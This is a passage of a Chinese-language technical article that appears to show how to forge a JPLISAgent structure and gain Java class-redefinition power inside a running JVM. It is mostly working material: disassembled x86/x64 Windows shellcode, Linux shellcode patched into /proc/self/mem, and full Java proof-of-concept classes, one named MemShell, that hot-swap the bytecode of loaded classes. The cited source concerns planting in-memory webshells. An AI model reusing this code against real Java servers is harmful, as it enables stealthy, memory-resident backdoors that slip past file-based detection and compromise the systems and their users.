008300EA | 8B43 14 | mov eax,dword ptr ds:[ebx+14] |
008300ED | FFD0 | call eax |
008300EF | 83C4 5C | add esp,5C |
008300F2 | C3 | ret |
如下是x64版本的shellcode：
00000000541E0000 | 48:83EC 28 | sub rsp,28 |
00000000541E0004 | 48:83E4 F0 | and rsp,FFFFFFFFFFFFFFF0 |
00000000541E0008 | 48:31C9 | xor rcx,rcx |
00000000541E000B | 6548:8B41 60 | mov rax,qword ptr gs:[rcx+60] |
00000000541E0010 | 48:8B40 18 | mov rax,qword ptr ds:[rax+18] |
00000000541E0014 | 48:8B70 20 | mov rsi,qword ptr ds:[rax+20] |
00000000541E0018 | 48:AD | lodsq |
00000000541E001A | 48:96 | xchg rsi,rax |
00000000541E001C | 48:AD | lodsq |
00000000541E001E | 48:8B58 20 | mov rbx,qword ptr ds:[rax+20] | rbx:"MZ?"
00000000541E0022 | 4D:31C0 | xor r8,r8 |
00000000541E0025 | 44:8B43 3C | mov r8d,dword ptr ds:[rbx+3C] |
00000000541E0029 | 4C:89C2 | mov rdx,r8 |
00000000541E002C | 48:01DA | add rdx,rbx | rbx:"MZ?"
00000000541E002F | 44:8B82 88000000 | mov r8d,dword ptr ds:[rdx+88] |
00000000541E0036 | 49:01D8 | add r8,rbx | rbx:"MZ?"
00000000541E0039 | 48:31F6 | xor rsi,rsi |
00000000541E003C | 41:8B70 20 | mov esi,dword ptr ds:[r8+20] |
00000000541E0040 | 48:01DE | add rsi,rbx | rbx:"MZ?"
00000000541E0043 | 48:31C9 | xor rcx,rcx |
00000000541E0046 | 49:B9 47657450726F6341 | mov r9,41636F7250746547 |
00000000541E0050 | 48:FFC1 | inc rcx |
00000000541E0053 | 48:31C0 | xor rax,rax |
00000000541E0056 | 8B048E | mov eax,dword ptr ds:[rsi+rcx*4] |
00000000541E0059 | 48:01D8 | add rax,rbx | rbx:"MZ?"
00000000541E005C | 4C:3908 | cmp qword ptr ds:[rax],r9 |
00000000541E005F | 75 EF | jne 541E0050 |
00000000541E0061 | 48:31F6 | xor rsi,rsi |
00000000541E0064 | 41:8B70 24 | mov esi,dword ptr ds:[r8+24] |
00000000541E0068 | 48:01DE | add rsi,rbx | rbx:"MZ?"
00000000541E006B | 66:8B0C4E | mov cx,word ptr ds:[rsi+rcx*2] |
00000000541E006F | 48:31F6 | xor rsi,rsi |
00000000541E0072 | 41:8B70 1C | mov esi,dword ptr ds:[r8+1C] |
00000000541E0076 | 48:01DE | add rsi,rbx | rbx:"MZ?"
00000000541E0079 | 48:31D2 | xor rdx,rdx |
00000000541E007C | 8B148E | mov edx,dword ptr ds:[rsi+rcx*4] |
00000000541E007F | 48:01DA | add rdx,rbx | rbx:"MZ?"
00000000541E0082 | 48:89D7 | mov rdi,rdx |
00000000541E0085 | B9 61727941 | mov ecx,41797261 |
00000000541E008A | 51 | push rcx |
00000000541E008B | 48:B9 4C6F61644C696272 | mov rcx,7262694C64616F4C |
00000000541E0095 | 51 | push rcx |
00000000541E0096 | 48:89E2 | mov rdx,rsp |
00000000541E0099 | 48:89D9 | mov rcx,rbx | rbx:"MZ?"
00000000541E009C | 48:83EC 30 | sub rsp,30 |
00000000541E00A0 | FFD7 | call rdi |
00000000541E00A2 | 48:83C4 30 | add rsp,30 |
00000000541E00A6 | 48:83C4 10 | add rsp,10 |
00000000541E00AA | 48:89C6 | mov rsi,rax |
00000000541E00AD | B9 6C6C0000 | mov ecx,6C6C |
00000000541E00B2 | 51 | push rcx |
00000000541E00B3 | B9 6A766D00 | mov ecx,6D766A |
00000000541E00B8 | 51 | push rcx |
00000000541E00B9 | 48:89E1 | mov rcx,rsp |
00000000541E00BC | 48:83EC 30 | sub rsp,30 |
00000000541E00C0 | FFD6 | call rsi |
00000000541E00C2 | 48:83C4 30 | add rsp,30 |
00000000541E00C6 | 48:83C4 10 | add rsp,10 |
00000000541E00CA | 49:89C7 | mov r15,rax |
00000000541E00CD | 48:31C9 | xor rcx,rcx |
00000000541E00D0 | 48:B9 7661564D73000000 | mov rcx,734D566176 |
00000000541E00DA | 51 | push rcx |
00000000541E00DB | 48:B9 7265617465644A61 | mov rcx,614A646574616572 |
00000000541E00E5 | 51 | push rcx |
00000000541E00E6 | 48:B9 4A4E495F47657443 | mov rcx,437465475F494E4A |
00000000541E00F0 | 51 | push rcx |
00000000541E00F1 | 48:89E2 | mov rdx,rsp |
00000000541E00F4 | 4C:89F9 | mov rcx,r15 |
00000000541E00F7 | 48:83EC 28 | sub rsp,28 |
00000000541E00FB | FFD7 | call rdi |
00000000541E00FD | 48:83C4 28 | add rsp,28 |
00000000541E0101 | 48:83C4 18 | add rsp,18 |
00000000541E0105 | 49:89C7 | mov r15,rax |
00000000541E0108 | 48:83EC 28 | sub rsp,28 |
00000000541E010C | 48:89E1 | mov rcx,rsp |
00000000541E010F | BA 01000000 | mov edx,1 |
00000000541E0114 | 49:89C8 | mov r8,rcx |
00000000541E0117 | 49:83C0 08 | add r8,8 |
00000000541E011B | 48:83EC 28 | sub rsp,28 |
00000000541E011F | 41:FFD7 | call r15 |
00000000541E0122 | 48:83C4 28 | add rsp,28 |
00000000541E0126 | 48:8B09 | mov rcx,qword ptr ds:[rcx] |
00000000541E0129 | 48:83EC 20 | sub rsp,20 |
00000000541E012D | 54 | push rsp |
00000000541E012E | 48:89E2 | mov rdx,rsp |
00000000541E0131 | 4D:31C0 | xor r8,r8 |
00000000541E0134 | 4C:8B39 | mov r15,qword ptr ds:[rcx] |
00000000541E0137 | 4D:8B7F 20 | mov r15,qword ptr ds:[r15+20] |
00000000541E013B | 49:89CE | mov r14,rcx |
00000000541E013E | 41:FFD7 | call r15 |
00000000541E0141 | 4C:89F1 | mov rcx,r14 |
00000000541E0144 | 48:BA A8752F5600000000 | mov rdx,562F75A8 | ;该内存地址是JavaVM->GetEnv的第一个参数，由我们动态指定，用来接收jvmti对象的地址
00000000541E014E | 41:B8 00020130 | mov r8d,30010200 |
00000000541E0154 | 4D:8B3E | mov r15,qword ptr ds:[r14] |
00000000541E0157 | 4D:8B7F 30 | mov r15,qword ptr ds:[r15+30] |
00000000541E015B | 48:83EC 20 | sub rsp,20 |
00000000541E015F | 41:FFD7 | call r15 |
00000000541E0162 | 48:83C4 20 | add rsp,20 |
00000000541E0166 | 4C:89F1 | mov rcx,r14 |
00000000541E0169 | 4D:8B3E | mov r15,qword ptr ds:[r14] |
00000000541E016C | 4D:8B7F 28 | mov r15,qword ptr ds:[r15+28] |
00000000541E0170 | 41:FFD7 | call r15 |
00000000541E0173 | 48:83C4 78 | add rsp,78 |
00000000541E0177 | C3 | ret |
##### Linux平台
由于Windows平台和Linux平台在Attach机制上的区别，Linux平台下并没有直接原生执行shellcode的方法，不过我们可以使用游望之的文章《Linux下内存马进阶植入技术》中提出的方法，通过修改/proc/self/mem的方式来执行shellcode，主要流程如下：
1. 解析libjvm.so的ELF头，得到Java_java_io_RandomAccessFile_length和JNI_GetCreatedJavaVMs的偏移；
2. 解析/proc/self/maps取得libjvm.so的加载基址，加上步骤1中获取的偏移地址，得到Java_java_io_RandomAccessFile_length和JNI_GetCreatedJavaVMs函数在内存中的地址；
3. 编写shellcode，调用JNI_GetCreatedJavaVMs获取的JVMTIEnv对象的指针；
4. 备份Java_java_io_RandomAccessFile_length函数体；
5. 将步骤3中的shellcode写入Java_java_io_RandomAccessFile_length地址；
6. 在Java层调用Java_java_io_RandomAccessFile_length获得一个long型的返回值，即JVMTIEnv对象的指针；
7. 恢复Java_java_io_RandomAccessFile_length代码；
8. 利用JVMTIEnv对象的指针，构造JPLISAgent。
具体细节可以参考游望之的文章《Linux下内存马进阶植入技术》，里有详细描述。
shellcode:
push rbp
mov rbp, rsp
mov rax, 0xf
not rax
and rsp, rax
movabs rax, _JNI_GetCreatedJavaVMs
sub rsp, 40h
xor rsi, rsi
inc rsi
lea rdx, [rsp+4]
lea rdi, [rsp+8]
call rax
mov rdi, [rsp+8]
lea rsi, [rsp+10h]
mov edx, 30010200h
mov rax, [rdi]
call qword ptr [rax+30h]
mov rax, [rsp+10h]
add rsp, 40h
leave
ret
#### 组装JPLISAgent
有了JVMTIEnv对象的指针，就可以构造JPLISAgent对象了，如下：
private long getJPLISAgent() {
long pointerLength = 8;
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe)field.get((Object)null);
} catch (Exception var14) {
throw new AssertionError(var14);
}
long JPLISAgent = unsafe.allocateMemory(4096L);
long native_jvmtienv = unsafe.getLong(JPLISAgent + (long)pointerLength);
if (pointerLength == 4) {
unsafe.putByte(native_jvmtienv + 201L, (byte)2);
} else {
unsafe.putByte(native_jvmtienv + 361L, (byte)2);
}
return JPLISAgent;
}
### 动态修改类
在上文中，分别介绍了Windows平台和Linux平台下构造JPLISAgent对象的方法，有了JPLISAgent对象，就可以调用Java
Agent的所有能力了，当然我们感兴趣的还是类的动态修改功能。
#### Windows平台
把上文中获取JVMTIEnv指针的shellcode和Java代码结合起来，同时考虑指针长度为4和8的情况：
/**
* @version 1.0
* @Author rebeyond
* @Date 2022/7/1 12:59
* @注释
*/
package sun.tools.attach;
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class WindowsVirtualMachine {
public static int pointerLength=8;
public static String className;
public static byte[] classBody;
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object... args) throws IOException;
public static void work() throws Exception {
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
//伪造JPLISAgent结构时，只需要填mNormalEnvironment中的mJVMTIEnv即可，其他变量代码中实际没有使用
long JPLISAgent = unsafe.allocateMemory(0x1000);
byte[] buf=new byte[]{(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xE4,(byte)0xF0,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x65,(byte)0x48,(byte)0x8B,(byte)0x41,(byte)0x60,(byte)0x48,(byte)0x8B,(byte)0x40,(byte)0x18,(byte)0x48,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x96,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x8B,(byte)0x58,(byte)0x20,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x44,(byte)0x8B,(byte)0x43,(byte)0x3C,(byte)0x4C,(byte)0x89,(byte)0xC2,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x44,(byte)0x8B,(byte)0x82,(byte)0x88,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x01,(byte)0xD8,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x49,(byte)0xB9,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x50,(byte)0x72,(byte)0x6F,(byte)0x63,(byte)0x41,(byte)0x48,(byte)0xFF,(byte)0xC1,(byte)0x48,(byte)0x31,(byte)0xC0,(byte)0x8B,(byte)0x04,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xD8,(byte)0x4C,(byte)0x39,(byte)0x08,(byte)0x75,(byte)0xEF,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x24,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x66,(byte)0x8B,(byte)0x0C,(byte)0x4E,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x1C,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xD2,(byte)0x8B,(byte)0x14,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x48,(byte)0x89,(byte)0xD7,(byte)0xB9,(byte)0x61,(byte)0x72,(byte)0x79,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4C,(byte)0x6F,(byte)0x61,(byte)0x64,(byte)0x4C,(byte)0x69,(byte)0x62,(byte)0x72,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x48,(byte)0x89,(byte)0xD9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x48,(byte)0x89,(byte)0xC6,(byte)0xB9,(byte)0x6C,(byte)0x6C,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0xB9,(byte)0x6A,(byte)0x76,(byte)0x6D,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD6,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x48,(byte)0xB9,(byte)0x76,(byte)0x61,(byte)0x56,(byte)0x4D,(byte)0x73,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x72,(byte)0x65,(byte)0x61,(byte)0x74,(byte)0x65,(byte)0x64,(byte)0x4A,(byte)0x61,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4A,(byte)0x4E,(byte)0x49,(byte)0x5F,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x43,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4C,(byte)0x89,(byte)0xF9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x18,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0xBA,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x89,(byte)0xC8,(byte)0x49,(byte)0x83,(byte)0xC0,(byte)0x08,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x8B,(byte)0x09,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x54,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x4C,(byte)0x8B,(byte)0x39,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x20,(byte)0x49,(byte)0x89,(byte)0xCE,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x48,(byte)0xBA,(byte)0x48,(byte)0x47,(byte)0x46,(byte)0x45,(byte)0x44,(byte)0x43,(byte)0x42,(byte)0x41,(byte)0x41,(byte)0xB8,(byte)0x00,(byte)0x02,(byte)0x01,(byte)0x30,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x20,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x78,(byte)0xC3};
byte[] stub=new byte[]{0x48,0x47,0x46,0x45,0x44,0x43,0x42,0x41};
if (pointerLength==4) {
buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3};
stub=new byte[]{0x44,0x43,0x42,0x41};
}
buf=replaceBytes(buf,stub,long2ByteArray_Little_Endian(JPLISAgent+pointerLength,pointerLength));
classBody[7]=0x32;
try {
System.loadLibrary("attach");
enqueue(-1, buf, "enqueue", "enqueue");
} catch (Exception e) {
e.printStackTrace();
return;
}
long native_jvmtienv=unsafe.getLong(JPLISAgent+pointerLength);
if (pointerLength==4)
{
unsafe.putByte(native_jvmtienv+201 , (byte) 2);
}
else
{
unsafe.putByte(native_jvmtienv+361 , (byte) 2);
}
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[] {
new ClassDefinition[] {
definition
}
});
}
catch (Throwable error)
{
error.printStackTrace();
throw error;
}
}
/**
* long 转字节数组，小端
*/
public static byte[] long2ByteArray_Little_Endian(long l,int length) {
byte[] array = new byte[length];
for (int i = 0; i < array.length; i++) {
array[i] = (byte) (l >> (i * 8));
}
return array;
}
private static byte[] replaceBytes(byte[] bytes,byte[] byteSource,byte[] byteTarget)
{
for(int i=0;i<bytes.length;i++)
{
boolean bl=true;//从当前下标开始的字节是否与欲替换字节相等;
for(int j=0;j<byteSource.length;j++)
{
if(i+j<bytes.length&&bytes[i+j]==byteSource[j])
{
}
else
{
bl=false;
}
}
if(bl)
{
System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length);
}
}
return bytes;
}
}
上面Poc中有两个属性，className和classBody。如果想要动态修改某个类的字节码，只需要实例化WindowsVirtualMachine类，设置className和classBody为目标类名和新的字节码数组，然后调用work方法，即可完成类的热修改。
#### Linux平台
在Linux平台下，将上文的shellcode整合，利用代码如下：
/**
* @version 1.0
* @Author 游望之
* @注释
*/
import sun.misc.Unsafe;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
public class MemShell {
private void agentForLinux(String className,byte[] classBody) throws Exception {
FileReader fin = new FileReader("/proc/self/maps");
BufferedReader reader = new BufferedReader(fin);
String line;
long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0;
while ((line = reader.readLine()) != null)
{
String[] splits = line.trim().split(" ");
if(line.endsWith("libjava.so") && RandomAccessFile_length == 0) {
String[] addr_range = splits[0].split("-");
long libbase = Long.parseLong(addr_range[0], 16);
String elfpath = splits[splits.length - 1];
RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase);
}else if(line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) {
String[] addr_range = splits[0].split("-");
long libbase = Long.parseLong(addr_range[0], 16);
String elfpath = splits[splits.length - 1];
JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase);
}
if(JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0)
break;
}
fin.close();
//修改Java_java_io_RandomAccessFile_open0的native代码，调用JNI_GetCreatedJavaVMs获取JavaVM，再通过JavaVM获取jvmtienv
RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw");
//RSP 16字节对齐
byte[] stack_align = {0x55, 0x48, (byte)0x89, (byte)0xe5, 0x48, (byte)0xc7, (byte)0xc0, 0xf, 0, 0, 0, 0x48, (byte)0xf7, (byte)0xd0};
byte[] movabs_rax = {0x48, (byte) 0xb8};
ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES);
buffer.order(ByteOrder.LITTLE_ENDIAN);
buffer.putLong(0, JNI_GetCreatedJavaVMs);
byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48,
(byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10,
(byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10,
0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte)0xC9, (byte) 0xC3 };
int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length;
long landingpad = RandomAccessFile_length;
byte[] backup = new byte[shellcode_len];
fout.seek(landingpad);
fout.read(backup);
fout.seek(landingpad);
fout.write(stack_align);
fout.write(movabs_rax);
fout.write(buffer.array());
fout.write(b);
fout.close();
long native_jvmtienv = fout.length(); //触发执行
System.out.printf("native_jvmtienv %x\n", native_jvmtienv);
//恢复代码
fout = new RandomAccessFile("/proc/self/mem", "rw");
fout.seek(RandomAccessFile_length);
fout.write(backup);
fout.close();
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
//libjvm.so的jvmti_RedefineClasses函数会校验if ( (*((_BYTE *)jvmtienv + 361) & 2) != 0 )
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
//伪造JPLISAgent结构时，只需要填mNormalEnvironment中的mJVMTIEnv即可，其他变量代码中实际没有使用
long JPLISAgent = unsafe.allocateMemory(0x1000);
unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
//利用伪造的JPLISAgent结构实例化InstrumentationImpl
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[] {
new ClassDefinition[] {
definition
}
});
}catch(Exception e) {
e.printStackTrace();
}
fout.getFD();
}
private static final int SHT_DYNSYM = 11;
private static final int STT_FUNC =2;
private static final int STT_GNU_IFUNC =10;
private static int ELF_ST_TYPE(int x) {
return (x & 0xf);
}
static long find_symbol(String elfpath, String sym, long libbase) throws IOException {
long func_ptr = 0;
RandomAccessFile fin = new RandomAccessFile(elfpath, "r");
byte[] e_ident = new byte[16];
fin.read(e_ident);
short e_type = Short.reverseBytes(fin.readShort());
short e_machine = Short.reverseBytes(fin.readShort());
int e_version = Integer.reverseBytes(fin.readInt());
long e_entry = Long.reverseBytes(fin.readLong());
long e_phoff = Long.reverseBytes(fin.readLong());
long e_shoff = Long.reverseBytes(fin.readLong());
int e_flags = Integer.reverseBytes(fin.readInt());
short e_ehsize = Short.reverseBytes(fin.readShort());
short e_phentsize = Short.reverseBytes(fin.readShort());
short e_phnum = Short.reverseBytes(fin.readShort());
short e_shentsize = Short.reverseBytes(fin.readShort());
short e_shnum = Short.reverseBytes(fin.readShort());
short e_shstrndx = Short.reverseBytes(fin.readShort());
int sh_name = 0;
int sh_type = 0;
long sh_flags = 0;
long sh_addr = 0;
long sh_offset = 0;
long sh_size = 0;
int sh_link = 0;
int sh_info = 0;
long sh_addralign = 0;
long sh_entsize = 0;
for(int i = 0; i < e_shnum; ++i) {
fin.seek(e_shoff + i*64);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
if(sh_type == SHT_DYNSYM) {
break;
}
}
int symtab_shdr_sh_link = sh_link;
long symtab_shdr_sh_size = sh_size;
long symtab_shdr_sh_entsize = sh_entsize;
long symtab_shdr_sh_offset = sh_offset;
fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
